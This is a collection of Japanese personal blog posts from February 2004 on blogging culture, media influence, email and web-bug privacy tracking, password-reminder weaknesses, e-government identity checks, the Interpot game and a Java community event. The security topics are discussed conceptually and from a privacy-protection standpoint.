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2004.02.27

全人類が blog を持つ日

「blog は日記ではない」にあらためて賛同してみる:p。

.yutakano:地下鉄サリン

を見てふと思った。
やっぱり blog は更新しなくてもいいからみんながとにかく持っておこう、と。

当時は現場の個人の意見を見ることは叶わなかったけれど、近い将来かなり末端の意見も見ることができるようになる。
現在でも限定的に可能だ。web サイトを持っている人の意見であれば。

少し前だと、プロバイダがおまけで付けてくれる web スペースを活用する人は少なかったと思う。
今後は単なる web スペースの代わりに blog あるいはそれを拡張したものが提供されていくと思う。

web スペースがなかなか利用されなかったのは、何しろ面倒ということも大きかったが、もう一つの理由として、見てくれる人がいないということだ。

blog のもっともよいところは、意見を書くだけでよい事(メンテナンス性)もさることながら、半ばデフォルトで提供されている「更新通知」にあるように今は思う。この機能のおかげで、数年ほったらかしにしていて、しかも特に固定客もいない blog を更新しただけでも誰かの目に止まるし、FeedBack や Bulkfeeds などにより必要な記事を更新された瞬間にピックアップすることができるようになってきている。

blog が話題にされたのは 0911 テロ事件のときだったらしい。この時点では trackback 等によるサイト間連係によって多くのレポートを参照できたのだと思うけれど、今なら特定事件に関する新着 RSS の方がより効率的に情報収集が出来そうだ。
記事本体は分散して存在するので、負荷の集中をある程度避けられるのも大きい。

オウム事件の裁判においては、個人が moblog を用いて実況まで行ったそうだ。
(注)中での実況はできない。でも後で感想を書くことはできるだろう。
普段は blog なんて全く書かない人でも、現場に近い人が意見や感想を自分の blog にちょっと書けば、素早く見つけてもらえる。
通常の web サイトでは出来なかったことだ。

「場」を取り敢えず持っているだけでもまったく構わないと思う。
blog は継続して更新される事に意味はなくなるはずである。
従って、日記/日誌では無い、という主張も今はよくわかる。

更新すべき時/したい時がいつやってくるかはわからないので、取り合えず慣れるために blog をやっておきましょう:p。

今昼ご飯中なので、後で記事を手直しする予定_o_。

念のため。
もちろん、書くべきことができた時点で開設すればよいわけではあるけれど、記事公開準備済みであるか否かで、ある時言いたいことを報告しようと思うか否か、という心理的抵抗が全然違うと思うのです。
多くの人に伝えようと思えばすぐに伝えられるんだよ、ということと、「その手段」が充分に認知されさえすればよいのですが。
プロバイダがユーザ獲得した時点で、記事投稿 URL を教える、くらいの世の中になってほしい。
もちろん、そこに書いた事が全世界に公開される事は入念に説明した上で。

(追記)
例えば行方不明/犯罪の公開捜査など、コンテキストに応じて報告先が示されたりするけれど、そこに報告するに至る人は、固定である自分の blog に状況を書くのと比べて格段に少ないはず。
後は内容によっては匿名性が必要な場合もあるけれど、匿名だと信憑性が落ちるし、そのレベルなら 2ch で十分に用をなしていると思う。それに、2ch でも「どこに書くべきか?」を考えると起稿を躊躇する人も多そうだ。
あまりにもやばい情報は blog にも書かないだろうけれど、「近くで見た様子」を報告するには最適ではないかなぁ、というのが今回の感想、かな。

参考:技術系サラリーマンの交差点: 半年に一回書くblogをめざして
以前から共感していたんですが、今回思ったのはリピーターに限らず、半年に一度でも一年に一度でもいいから更新すれば見てもらえる可能性が高いということ。

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2004.02.26

人は何故マスメディアに流されるのか

私は前から

さて、私なんぞは前から「マスコミや世間が欲するものは真相ではなく話題である」と思っているし、「マスコミ/世間(この書籍も含めて)で声高に叫ばれることが真実である可能性は極めて低い」と思っているので

こんなふうに言っている通り、嘘やミスリード、誤報も話題になりさえすればありありなのが世の中の常であると思っているのですが、以下の記事あたりを見た時にふともう少し考えてみたくなりました。

間違ってマスに伝えたことをギルド内で批判することはたやすいと思います。でも、自らがそれを糾す際に、マスに選択される形、つまり、面白く、分かりやすく、売れる表現方法の上で語ることができるかというと、できる人は少ないと感じています。古典的には知と修辞学は同居していたはずが、専門家による知の細分化によって、修辞学は知の使い手と分離しがちになっているというのが原因のひとつなのではないでしょうか。
メッセージはコンテクスト内で意味を持つのだとすれば、流通に関わるものが知にコンテクストを与えないといけないとも思います。送り手側が「なんでつまらない本ばかり売れるんだ」と嘆く出版不況があるとしたら、送り手と流通が、良い本をベストセラーランキングへ入れる努力に失敗していることが原因と考えます。

例えば「ゲーム脳」なんかがあれ程批判されているのに売れていたり、それを信用する人たちがいるのは、そういう方達は批判(誤りの指摘)を聞く耳を持たないからではないか?などとぼんやり考えていたりしましたが、これをもう少し突き詰めると以下のような要因があるんでしょうね。

上記引用に習って「マス」「ギルド」として区別して書いてみます。ギルドは例えば「ゲーム脳」を正確な知識で批判できる人たちの集合などですか。もちろん状況によって誰がギルドになるかは変化します

マスの行動力/能力の問題
マスが正確な情報を探そうと努力することを放棄している=プッシュ型の情報しか目に入らない
マスの考え方の問題
マスが権威の言うことが正しいと思い込みたがる=自分で判断することを嫌う
ギルドの行動力/能力の問題
ギルドが正確な情報をキャッチーにアピールできていない=誇大である事が正しい
ギルドの考え方の問題
ギルドが正しい情報の頒布を諦めている=内輪で愚痴るだけ

これらは全て改善の余地があるところだと思いますが、じゃぁ自分なら何が出来るだろう?或いはどの点について考えるのが最もコスト対効果が高いのだろう?などとふと思ったのでした。

上記の橋本さんの記事は、アピール方法について述べていらっしゃるわけです。
私は「諦め」の立場ですね。自己責任万歳、ですから^^;。

自分だって「マス」の立場に立つ事はたくさんあります。自分の場合、例えば政治関連などは興味が薄いのでマスメディアのさらに一部分で報じられること以上の情報は頭に入ってきていません。でも、せめて鵜呑みはしないようにはしていますし、確証を得ていない情報について述べる時は慎重な方だと思います(述べないことの方が多いが)。問題は「自分で考えられない病」になるでしょうか。
マスの行動力を高めるのは不可能ですね。現在は情報量が多すぎます。

ギルドはもし現在のマスの状況を憂うのであれば、正確な情報をプッシュ型でマスに伝える努力と、「自分で考えるための具体的手段」をやはりプッシュ型でマスに伝える努力が必要そうです。

はぁ…。考え方の方はやっぱり無理な気がする^^;;。幼少時の教育が鍵という気はしますが。
ということは、やはりもっとも手入れし易そうなことって、橋本さんのおっしゃる、「正確な情報をプッシュ型でマスに伝える努力」なんだな、と。即ち、ギルドの能力が不足しているから現在の状況があるわけで、「マスはどうのこうの」と言える立場じゃないね、って事ですか。そうですねぇ。

実は自分的結論は既に出てたんだろうけど、もしかしたら…などと思って書き始めてみて、やっぱりそうなるのか…という結論になるうだうだ文章でした_o_。
ギルドが(具体的に)どう行動すべきか?というテーマについてはまたいつか考えよう^^;。

(追記)
書き漏らしたというか、頭から抜けていたんですが、マスは正しい情報がたとえ目に入っても、(権威というより)自分に都合のよい言説の方を信じたがる、ということもありますね。これはどうすればいいんだろう…。

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2004.02.25

名寄せを利用したプライバシー侵害の手法:個人Webサイトからの追跡

今回も長くなったことと、新たな視点だと思ったので書き起こします。
技術系サラリーマンの交差点: メールからIPアドレスがわかることも多いらしい

元記事で、POP と言われているのは SMTP のことですね。
メイル送信時の IP アドレスですが、SMTP サーバというものが受信した時点で送信元のアドレスを Received として付与します。
このアドレスは基本的に詐称できません。

ブラウザから送信するタイプのメイラでも端末の IP アドレスは大抵(独自)メッセージヘッダに記載されます。Hotmail も Yahoo も送信元 IP はわかります。

過去はダイヤルアップ接続がメインであり、接続のたびに IP アドレスが変化していたため、せいぜいプロバイダと地域までしか解りませんでしたが、現在の ADSL などの固定IPアドレスの世の中になると IPアドレスと個人の結びつきが強くなる、という件は実際に危惧されてもいます。
IPv6 に関しても真っ先にこの点が議論されていますし。

でも、ダイヤルアップであってもプロバイダが調査すれば送信*者*の特定は可能です。そうでなければ犯罪天国になってしまいます。完全匿名を許したらインターネット社会が成り立たなくなります。2ch が後になってログを記録するように変えさせられた通り。

一般的には端末のIPアドレスが一定以下の間隔で変化すれば充分とされており、ADSL などは怪しいですが、逆に企業内からなどの場合は、並列化された中継(HTTP/SMTP)サーバが利用されたりするので、どの企業かは分かってもその中の誰かは外部からは突き止めるのが困難です。

メイルを送信した端末のIPと HTTP アクセス時の proxy サーバが付与する端末の IP を突き合わせれば、企業内からであってもメイル送信者と Web アクセス者が同一であるかを推定することができます。でも、企業の proxy サーバでは内部の端末のIPは送出しないことが多いと思いますが。
(追記)この段落、若干編集しています。

でもまぁ、これを気にする方は、もう Web で見つけた人とのやりとりはやめるしかないでしょうね。


ところで、Web バグ(参考1)というものが存在します。電子メイル送信相手に気付かれないようにWebにアクセスさせる事で、送信先メイルアドレスとIPアドレス、およびクライアントパソコンを識別するID(cookie による)を紐付けすることができます。HTML メイルから参照される画像が自動的に表示される環境では、プレビューするだけで実行されます。

Web バグでは、それが生きているメイルアドレスか?そこから辿って商品を購入したか?ある消費活動を行った人のメイルアドレスは?といった事が収集されます。

今回の話はマーケティングという側面ではなく、個人間のやりとりに関する話ですが、上記から言えることは、メイルアドレスを知っている人間の自サイトでの活動を追跡しようと思えば、その相手からのアクションを待たずとも可能である、ということです。しかも IP アドレスよりも確実な cookie に設置した ID によって。
cookie をオフにしていてもクライアント IP アドレスは採取されます。
さらにこれに「名寄せ」を加えれば、住所氏名などの個人情報まで結びつく可能性もあります。これは業者の協力が必要でしょうけれど。

こちらも回避しようと思うならば、そういう事をする可能性のある Web サイトを見てはいけません、ということになるでしょう。
HTML メイル、あるいはそこからリンクされる画像などを表示する設定をやめる事で、無意識のうちに追跡される可能性は減らすことができますが。

結局、好奇心とリスクのトレードオフで、各自が判断するしかないわけですが。
念のためですが、私は Web 閲覧行動に関してリスクはあまり感じていません^^;。
でも、人によっては(特に女性)リアルワールドにも影響を及ぼすようなリスクも考えられないわけではありません。
やはり、好奇心、というよりサイト管理者への信用でしょうかね。

参考1:はてなダイアリー - 高木浩光@茨城県つくば市 の日記:Webバグについて復習する
参考2:EarlGrey Tearoom: HTMLメールは、IPアドレスを通知する

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全ての親へ

あやかパパの記憶

すばらすぃ…全部読んでください。

文句の付け所が無いとはまさにこのことって感じでした。
共感し過ぎ^^;。

感動も情景も言葉にするのがまだまだ下手な私ですが、あやかパパさんの思想はまさしく私の目指すもの、という感想です。それでいて私と違ってそれを表現する能力がまた素晴らしい、と。
嫁さんにも是非読んで欲しい^^;。読んでね。

お子さんのいらっしゃらない方にはこちらで書かれていることにどんな感想を持たれるのだろう…?
「100%無垢な愛情」を知らない、或いは忘れてしまった方たちは…。
自分だったらどうだろう。
5年前だと読み流していただろうか…?
いや、少なくとも思想、教育方針には今と同じように共感していたはず。
けれど、今のような感動は感じなかったかもしれない。


お子さんが自分でこの日記を読み、理解できるようになるまで続けばいいですね~。

私はあやかパパさんを(目標とするのではなく)参考にさせていただき、自身の信念に基づき自己の向上と子供の教育に挑みたいと思います。

正直、自分も子供の小さい時からの記録を後で思い出せる形で残したいと思ったけれど、どうするかは考え中^^;

あやかパパの記憶: 子供の創造力とイマジネーション
うちは「ひねもす」やってます。3歳なのでまだちと早い感じではありますが^^;。
あやかパパの記憶: 習い事(お絵かき編)
大きな画用紙、よさそうですね~。
あやかパパの記憶: 集中・継続する力
「読書離れ」などは割と昔から言われていますが、こういうことなんですねぇ。
ゲームに熱中していたならまだいいのかも。
今は積極的な思考が必要なものではなく、流れ込んでくる快楽にばかり熱中する人が増えている気もしますし…。

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2004.02.24

理解できないのでは無い、認めていないだけ

なぜこんな行動を?
私には理解できません。

いいえ違います。
解っているがそれを認めたくないだけ。

ではなぜ認めたくない?
単に自分と違うから。
善悪では無い。

何も受け入れる必要はない。
ただその存在がある事を認めよう。

そして、その人を変えなければならないのか、考えよう。

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インターポット参考ページ

google で"インターポット" で検索すると本家ページの次に出現するようになってしまい、少々申し訳無いので、こられた方のためにインターポット関連リンクをご紹介。

公式 Web サイトはこちら。
インターポット世界を研究している(のかよくわからんけど^^;)デンナ研究所。これは公式サイトになるのかな?

あとは、■Interpot Web-Ring■メンバーリストを見ると、インターポットのユーザさん達の情報がたくさんあるようです。(追記:2004/3 に Web-Ring はやめられたそうです。う、別途リンク集は無いかしらん^^;)

おともだちページをいくつかご紹介。

BABY GEE - InterPot 私設ファンサイト - きいのさん
インターポットが始まった頃からのユーザさんで、インターポットの歴史とか書かれています。
暖かさ溢れるページ。

ココログからも。

InterPot生活 さむうおさん
インターポットネタだけでココログするという根性ある御方:p。
落書きのセンスは一級品。
他のセンス?つつかれるセンスも一級品ってことで:p。

White Peach 白桃さん
「InterPot 生息中」ってことでインターポット友達を誘ってココログさせたかもしれじ^^;。
ネタはインターポットばかりというわけでもないです。年齢不祥。


他にも教えてくださればリストアップいたします~。>ユーザの皆様^^;

(追記)
Bulkfeeds と FeedBack で"インターポット"で見つけたページを追加していってみたり。
単にインターポットユーザの blog 開設者リストになったりして^^;。

Simple is best
daiki くんは前から URL 教えてもらってたけどインターポットの話題が最近出されたのでここに追加~。

murmur Brain
紫柚丸さんという方のページ。

神戸観光壁紙写真集
MARI.さん。ココログ上ではインターポットネタはされてないようですが、リンク先のインターポット情報集がすごかったのでおもむろに追加^^;。trackback 送る適切な記事が見つけられませんでした_o_。

てのひら通信
non さん。すみません。インターポットをしていらっしゃる、ということしか解りません^^;;。
何しろキーワードで引っかかった方をおもむろに載せさせていただいちゃってます_o_。

YUIT-LOG
YUIT さん。多分インターポット内でのゆいっちさんではないかなぁ、と思っているのですが^^;。
合っていれば、チャットで何度かお話しましたね~^^/。
あ、デンモニが設置してある。

(追記)
インターポットの生みの親、且つ小ネタで小粋なアニメーションでも紹介したうるまさんもココログへ。

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2004.02.23

こんなバレンタインを過ごした人は来月どうなる?

ITmedia PCUPdate:孤独なバレンタイン克服に向けて~ある女IT戦士の作戦

今さらながらかもしれないけど、笑った…。マジで。
業界人でないと分からん可能性はあるけど。

ちなみに一番笑ったのは「見たい夢を見れる機械」な部分

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人は皆、察して欲しがり

[続・察]

ある些細なきっかけで、一気に人々が本音を言い始めることがある。

すばらしい洞察。

人が口をつぐむのには理由があります。
おっと私は結構何でも言っちゃうほうかも^^;。
でも、やっぱり希に逢えて言わない/言えない事もあるな。

言えないようなケースでは、なんとか察して欲しいと思っているはずです。
でも、それは「察してほしがり」だから、ということばかりではありません。
言えない雰囲気を周りが醸し出していることも多々あるわけです。

周りの人間としては、人の気持ちを察するよう努力するよりも、
人が本音を言える雰囲気作りに努力すべきと思っています。

元記事ではこう締めくくられています。

こんなに、察することについて感じるのは、
なにより自分が、察してほしいと思っているからなんだろう。
自己の正当化には、ほんと必死なもんである。
アマちゃんだ。

ほんとに素晴らしいですね。共感しきり。:)

何より、自分はどうだろう?と考えることが重要ですね。

自分は察して欲しいと願っているのか?
自分から本音を言いだすことはできないのか?
自分が人に本音を言えなくさせていないか?
そして、他人に察せよと強要していないか?

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2004.02.22

パスワードリマインダ、もうやめてくれ

[はてなダイアリー - 高木浩光@茨城県つくば市 の日記]

ユーザ登録について, 教育情報ナショナルセンター
パスワードを確認(かくにん)するための合言葉(あいことば)
どのように入力(にゅうりょく)すればいいの?
質問(しつもん)と答(こた)えはセットで考(かんが)えてね。
例(たと)えば、質問(しつもん)を「好(す)きな食(た)べ物(もの)は?」にしたとすると、答(こた)えは「カレーライス」のようにするとよいですよ。

わはは。
もぅね、毎回毎回デタラメにキーを叩くのもいいかげん馬鹿らしいのです。

[はてなダイアリー - 高木浩光@茨城県つくば市 の日記]

11月23日の日記「警視庁は東京都にも要請したほうがよいのでは?」で書いたように、こうしたパスワードリマインダーは廃止するようにと、2002年2月に警視庁から事業者に要請がなされている。

HotMail あたりが「秘密の質問」なるものを要求して来た時点で、「なんでパスワードを守るためにまたパスワードを(サーバ側に)設定させるかなぁ。危険を一つ増やしているだけじゃないか。」と思っていて、いわゆるパスワードリマインダには常に50文字程度キーボードをデタラメに叩いて登録してきました。

警視庁が通達を出したのもだいぶ遅かったですが、それからさらに2年が経過してまだこんな状況とは-_-。
で、いつもいつも「秘密の質問と答え」の例が酷いんですよね…。
例をそのまま入力する人もいっぱいいるし。

ユーザの声として、パスワードリマインダ機能なんてやめてくれ、とサイトに報告しつづけなければならないのか。

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言葉にする、文章にすると心に変化があらわれる

[俺と100冊の成功本 blog.自己啓発.com: 「ついてる」と言ってたら、気持ちに変化が起こった]

「ついてる」と言うのを、最近むりやり口癖にしてます。
そうしたら、気持ちの中に意外な変化がありました。
気持ちが穏やかで豊かな感じになりました。

[雑記: 継続は力なり]

思ってもいないことを言い続けると、自分の中でそれが本当になるときがある。

幼少期の話と同じ。
親の話なんてだいたい脚色だらけだろうが、何度も聞いているとそれが映像化されて、
あたかも自分の記憶のようにしてインプットされることがある。

ほぼ洗脳である。

私は気持ちの持ちようとして、「人生に無駄な経験はない」と考えるよう心がけているんですが、お二方は「言葉にする」ことでそれがより具体的に効果として現れるというあたりに踏み込んでいらっしゃいます。

私は「言霊」はあまり信用しないクチではありますが、心がけも心に閉まっているより何らかの形で表現したほうが、より具体的になり、場合によっては外的な変化を招いたりしそうです。


私は口でいうことはほとんどないんですが、文章とすることが思考の明確化に役立つと考えているため、この日記も書いていますし、ML などでもできるだけ積極的に発言したりしました。もともとは論理面の明確化が目的でしたが、効果はそれだけではない事も実感しています。

ついでに言うと、他の人と比べて言葉にするのが如何に下手であるか、も実感しています^^;。だから頑張ろうとしてるわけですが。

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2004.02.21

壁紙紹介

[小ネタBlog~純情派]

「天空の城ラピュタ」のモデルとなった街らしいです。

私、今まで壁紙って全然使ってなかったんですが(特にノートの方は開発環境で重いので少しでも軽くしたかった)、ここに載ってるやつならいいかも、なんて思ってしまった。というわけでご紹介。

みんな壁紙ってどんなの使ってるんだろう?

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なりきり大好き

バカぽんの気ままにデンジャラス: 鉄騎専用コクピット完成

こりゃすごい。ってんで「鉄騎」という物を知らないのにご紹介^^;;。
最初「電車でGo」みたいな鉄道シュミレータかと思ったけど違うみたいですね~。

鉄オタさん向けのこういった器材もあるのかしらん。


私自身は「なりきり」するのは好きじゃないんですが、「なりきりする人」は大好きだったりします^^;。

あぁ今日は web うろうろしすぎ…。そろそろ仕事しよ。

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アクセス記録をしていないことの証明

引用が長いのと、反論とかではない独り言風味なので自分の所に書いたり^^;。経緯はこちらがよいでしょうか。

[技術系サラリーマンの交差点: アクセス解析していないことを検証できない場合]

 初心者のために少し詳しく書くと(私も初心者)、現段階のココログでは、訪問者にわからないようにアクセスログを取るのは不可能だ。というのは、@Niftyはblogオーナーにサーバーのログを提供していないし、SSIという技術を利用することもできないからだ。この条件でログを取るためには、「マイリスト」の中などに解析用のタグを埋め込む必要がある。そして、バナーの表示されない解析サービスを利用しようが自作CGIを使おうが、ページのソースを見ればログを取っていることがわかってしまう。
 だから、ログを取りながら「取っていません」と公言する人がいたとしたら、それは相当の冒険ということになる。閲覧者の大部分は初心者かもしれないが、中にはすごく詳しい人もいるから、「取っているじゃないか」と指摘されたら大恥をかくだけでなく、信用も丸つぶれになる。

おっしゃる通り、ページのソースを厳密に調べれば、ホストしてもらっている blog オーナーがアクセス記録していることはほぼ突き止められます。ホストしている側には言うまでもなく記録されているとして。

が、img を装っているものの場合はかなり難しいです。
特に津村さんはアクセス元ホストのトレースを問題視していらっしゃるわけですが、その場合、ココログ外のサーバに置かれたイメージが貼ってあるサイトにはトレースされていることになります。

全てのイメージがココログ内に置かれている事のほか、iframe や link 要素(もちろん script も)など、外部リソースへのアクセスを伴う要素は何種類もあるので、それらをすべて検証しないと、(nifty ではなくココログオーナーに)アクセスが追跡されてはいない事は証明できません。
既に指摘されているように、MyBlogList を設置しているサイトもそうですし。ただ MyBlogList ではさすがにアクセス元までは見せないかな?知らないですが。

そんな作業をする人はいないと思いますが^^;。「アクセス解析していません宣言」がもし流行った場合は、そういうのを調べて晒すのも流行るのかも。その辺は自分のリスクだからいいですか。

いずれにせよ、意図をもって嘘をつく人はそうそういないと思いますが、意図せずともオーナーに見える場所にログが取られてしまっていることすらあるということで、嘘をつかないのも大変だなぁ、と^^;。

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電子化、ユビキタス、RFID

[【043】電子自治体の本人確認 ]

ある市のWebサイトでは、「水道使用中止の届出」がオンラインで提出できるようになっています。
この電子申請システムを使うには、事前にユーザ登録をしてアカウントを取得し、与えられたユーザ名と自分で決めたパスワードでログインした上で、水道使用中止の届出に必要な項目を記載して送信ボタンを押すようになっています。

このとき、「ユーザ登録」は誰でもいつでもできます。ポータルサイトによくある無料メールなどと同じで、住所氏名電話番号等と記入すれば、即座にアカウントを取得できるようになっています。本人確認はありません。

ということは、「あいつの家の水道を止めてやろう」という嫌がらせを思いついた者は、その人の住所氏名を知っていれば、その人の住所氏名でアカウントを取得した上、そのアカウントでその人の住所氏名を記載して「水道使用中止の届出」を出すことができてしまいます(ただし、「お客様番号」の記入が必須になっている自治体もあるようです) 。


たしかに、他人の家の水道を止めるなどの嫌がらせ目的で、わざわざ市役所の窓口に出向いて顔を見せて偽の書類を提出する人はあまりいないでしょう。目的に対するリスクが大きすぎます。しかし、ネットではどうでしょうか。
何らかの方法で高い匿名性が確保されると、リスクよりも目的の達成価値の方が大きくなる場合があるかもしれません。

紙申請と電子申請ではなりすまし攻撃の現実性が異なるにもかかわらず、紙申請を想定して設計されてきた手続を、そのまま電子化してよいのでしょうか。各手続ごとに脅威レベルの再評価が必要ではないでしょうか。

まさしく。
完全な電子投票は不可能…当たり前だけど…
なんかもそうですね…。

上記を知るきっかけになったのは、
はてなダイアリー - 高木浩光@茨城県つくば市 の日記
なんですが、日系デジタルコアでなされている議論はほんとに濃いですねぇ^^;。なんといっても参加者の質が高い。完全公開な ML などとはいろいろな意味で一線を画してます。

生態認証は脅迫や傷害/殺人の可能性を増やす」といったくだりも興味深かったです。


私なんかは RFID 技術はまだ当分消費者の手元に渡ってはいけないなぁ、としか考えておらず、狭い範囲で狭い目的での運用をあと2~3年くらい行って検証する必要があるのではないか?と思ってるんですが、議論は一般消費者に渡った場合が前提になっています。
あらゆる懸念について事前に検証することの大変さよ…。影響範囲の大きい開発に必ず付きまとう問題。

だから、私は「大規模な企画」には手を出したくない。それじゃぁ大きな夢が見れないかもしれないけれど、リスクがねぇ~。こういうネタを本気で推進する方たちを尊敬します。やっている方の中には夢だけしか見えていない方もいらっしゃるようですが。

短期間で実験的な実施が出来、調整しつつ規模を拡大していければ、心労もだいぶ軽減されると思うんですけどね。そういう形態にできるなら私も大規模だからやだ、とはならないんですけど。


ところで、高木さんの今の活動主体はどのあたりなんだろうなぁなんて思っていましたが、この雰囲気ではいよいよ RF 関連の推進側に本格的に協力していく形になっていってるみたい^^;。これは(本当なら)すばらしぃことだと思います。

(追記)
そうそう。最近まであんまり意識してなかったけど、関連してこんな記述もあります。
Passion For The Future: デジタルID革命
より。
「消費者の視点でのトレース(遡及)と、生産者や流通の視点でのトラック(追跡)」という言葉に惹かれました。
トレースは過去の履歴の参照可能性。
トラックは今後あるいは今現在の状態の追跡可能性。

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スタイルを変えられるようにしてみました

朝飯前。: スタイルシート選択機能

あぁ~。いいですねぇ。いつ前のスタイルに戻そうかと思ってたんだった^^;。
というわけで、アイデアだけ借用させていただいてちょっと自作…しようと思ったんですが、ここで公開されているコードは cookie でクライアント毎にスタイルを記憶させておけるようになってますね。ぇらぃ。ということでやっぱり実装も借用させていただこうかな、と^^;。

良いものをご紹介いただきありがとうございます~^^/。

以前から固定幅のほうがいい人がいるのかどうか気がかりだったので、インターポットふぅ~に加えて、二通りの固定幅スタイルを用意してみました。
右のサイドバーでスタイルを選んでみてくださいませ~。

で、より見やすいスタイルに関するご意見がありましたらなるべく対応したいと思います。
ご指摘よろしくお願いいたします_o_。

不都合の報告もお待ちしております。


(追記)
うぅ…デフォルトのスタイルにカスケードしてくれちゃうから結構調整がめんどい…-_-。
しかも4つもメンテするなんて…アホだなおれ…^^;。
ま、こんなもんでー。

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2004.02.20

収穫時期

20040220.png

だいぃぶ実がなりつつあります。ももざくら(木の名前ね)。
でかくなったものです。

ぼちぼち収穫せねば。収穫した実はフォーリン(お金)に換算されます。
このフォーリンで嫌がらせグッズを買うのです。

あ、黒いのは実じゃなくてコウモリだった…。

コウモリと蛍のらんでぶー状態だ。
コウモリは近くの庭に死神がいると飛んでくるの。

ほら、よく見ると画面の上でアナウンスされてる。

あ、コウモリはお店に売ってないなぁ。送りつけられたらいいのに…:p。

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Night for Java Technology に行ってきた

2/18 19:00 から Java 技術者の祭典、The Night for Java Technology に参加。

いやほんとは Java Technology Conference 2004 の中のイベントなんだけど、結局、JTC 自体に見たいセッションが無かったので JTC 参加申し込みはせず、応援団として呼んでいただけた JavaNight だけに混ぜていただきました。

中の雰囲気はこんな感じ?

javanight.jpg

応援した発表者、サングラスマンと duke (でゅーく)。

duke.jpg

上記は自分の携帯(J-SH51)での写真。別途外注のカメラマンが撮った写真も載せさせていただきます。
外注だけど0円です。

duke_2.jpg

かぶりもの duke と謎の食材で作られた duke XXX。(ケーキでもないし…なんなんだろ…)
ホテルニューオータニのシェフさんですね。なぜか Java のイベントでプレゼンしてたよ。

backing.jpg

応援団。別名キ○○ト軍団とも呼ばれる。
おいらも写ってる…。小さくてよかった:p。

この写真で解るかどうか微妙ですが、どうやら今回の JavaNight は Iron Chef、即ち「Java の鉄人」のようです。

応援したのは知る人ぞ知る園田さんの silhouet (シルエット)。プレゼンテーションではネタ的な評価がされたかもしれませんが、中身は実は鋭いのです(今言っていいのかどうかわかんないので言うのやめ^^;)。

で、準備していたWeb クロールシューティングゲームはインパクトがあったと思うんですが、惜しくも披露する前に時間切れとなってしまいました…。これがかなり響き、佐藤類さんのガンダム(リンクしようと思ったら、更新されてないよ~^^;)との勝負に敗戦。プレゼンで見せられなかったシューティングゲームの写真をここに公開できるかなと思いましたが、確認したところ保留となりました_o_。

類さんはオラクル賞として電動自転車を貰って帰りました。そんないいもん貰えるんだったらもっと真剣にやったのにぃ、という声が所々から飛んだかどうかは定かではありません。

実はこの二つ、両方ともうちの若手プログラマが実装で関っていたので、「なんでガンダムの完成度あんなに上げたんだよ~」と当人が責められていたのは後日談:p。隠しコマンドでブルースクリーンにでもなるようにしとけば…それはそれでさらにネタ度が上がって不利か^^;。

とまぁ、自分はこの二組の対戦と関係があったのでいろいろ書きましたが、知人関係ではやはりプレゼン時間に泣いたこちらも応援していたのでした。(追記:URL変更>Night for Java Technology 2004)
こちらは時間というよりトラブルに泣かされた感じで、デモの画面がなかなか表示されず、時間切れという悔しい結末。それでもここで紹介したお三方は、技術者にはなかなかいない、人前でしゃべる事に慣れている方達だとつくづく思ったのでした。
自分は発表するでもなく応援でしかないにもかかわらず、ステージに向かう時足ががくがくぶるぶるでしたからねぇ^^;;。あがり性をなんとかしないと-_-。


さて、レポートも書いたし、寝るかな…。

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2004.02.19

記事が重複した…-_-

多分、保存後に「戻る」を使ってしまったのだと思いますが(ぃや、そんなことはしてないと思うんだけど…)、追記して再度「保存」したら、同一記事が二つトップに掲載されてしまった…-_-。

記事の削除ってできないの…?(追記)できますね^^;。

というわけで、重複した記事の編集画面を開いて、この記事に書き換えてみています。
PermaLink が同一"post_30.html" になってる気がするので、両方同時に書き換わってしまいそうで恐いんですが…。

(編集/追記)
やっぱり post_30.html が書き換わってしまったので、先の記事を元に戻して、この記事を別途新規記事に変更。
設定変更を使って全体の再構築をすればトップページの重複はなおるかなぁ…。

(追記)
やっとこ重複記事を削除できたよ…。同じ PermaLink になっちゃってたので両方消えるのか気にしつつだった…。

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「~しづらい」のか「~しにくい」のか

[■私設伏魔殿■: ブログ界隈は「づらい」の? 「にくい」の?]

こういう日常語の話題は好きです^^;。自分もある面では正確な日本語でありたいとも思うし。
でも、

他人様の言葉遣いを云々できるほどぼくは日本語に詳しくないし、「全然~ない」という表現を「全然イイ」「全然オッケー」などと平気で誤用したりもしている(わかっちゃいるけどやめられない)。

ここ、全く同じく~でもあります。:) 全然いいじゃないですかー:p。

で、本論の方ですが、私は「~し辛い」と書くことがけっこう多いような気がします。
理由はおそらく、ほとんど全ての文章を、「自分はこう思う、他の人はどう思うか解らんけど」というスタンスで書いているからかも。

そうやって書いているうちに「~しにくい」と書けばいいところも「しづらい」と書いてるかもしれません。
でもまぁ、本音は「させていただく」と同様に「別にいいんじゃない?」程度かもしれません^^;;。

誤読を招きかねない表現はまずいと思うんですけれど、文脈から意図が充分に読み取れる限りは、どのような表記でも読む立場としては気にしないかもですね。当人のためのアドバイスとして指摘することはありますが。その際も馬鹿にしたような言い方にならないようには注意しているつもり…どうだろ^^;;。


おっと、同時にぴっくあっぷ。さんで取り上げられている、注目のウェブサイト 「ことばたらずんば」も興味深いですね~。

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「blog をやめる」と「ココログから引っ越す」&250円…?

[はてなダイアリー - acidMansoの日記]

250円は高いのかの調査

私の
「ブログ」飽きたらやめる、何か問題でも?
ですが、これを上記のようなコメントとともにご紹介いただいている所が興味深かったです。
ぃや、若干理解不能な気配もあるんですが^^;;。

一緒に紹介されている
milkyの私的生活: ココログから撤収
は、(複数持っていて)お金がかかるのはもったいないから引っ越そうか、というお話ですね。

私のやつは、まぁ「blog なんて別にいつやめてもいいんですよ」と言っている^^;。
相関関係がありそうで、ない記事だと思ってるんですが、だからこそ興味深いっす。

blog に興味を持ったからってだけで 250円払うか?といった視点も考えてみたり。

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糸電話によるホットライン

www.textfile.org より。

[ITmedia ライフスタイル:タカラ、IPv6対応“糸電話”を年内発売]

イーサネットポートが付いた受話器は、2つでワンセット。両方がIPv6ネットワークに繋がってさえいれば、受話器を上げるだけで相手につながる手軽さが特徴だ。「糸電話ですから」(タカラ)。

これはたしかに需要がありそうですねぇ。糸電話とはよく言ったもので^^;。
ナンパ師は受話器の片方が自宅に溢れそうだなぁ…。
絶対接続先切り替え機能が必要になるな:p。

双方が private 網内だとダメなんだろうなぁ。元々接続先を探す際はサーバを経由するらしいので、双方が private 網の場合は通信も仲介してくれたりするといいんだけど。
ってか、IPv6 網ってもう IPv4 tunnel しなくても通じるんだっけ…?

(追記)追加情報

スラッシュドット ジャパン | 新時代のホットラインは糸電話の如く

モバイルIPv6 というのがあって、m2m-x プロトコルというもので相手を特定するという技術があるそうな。
IPv6 関係は今だにほとんど勉強してないのです。ついでに SIP 等の IP 電話関係も。

で、これって IPv6 アドレスと言っているのは実は単なる固有ID でしかないのでは?
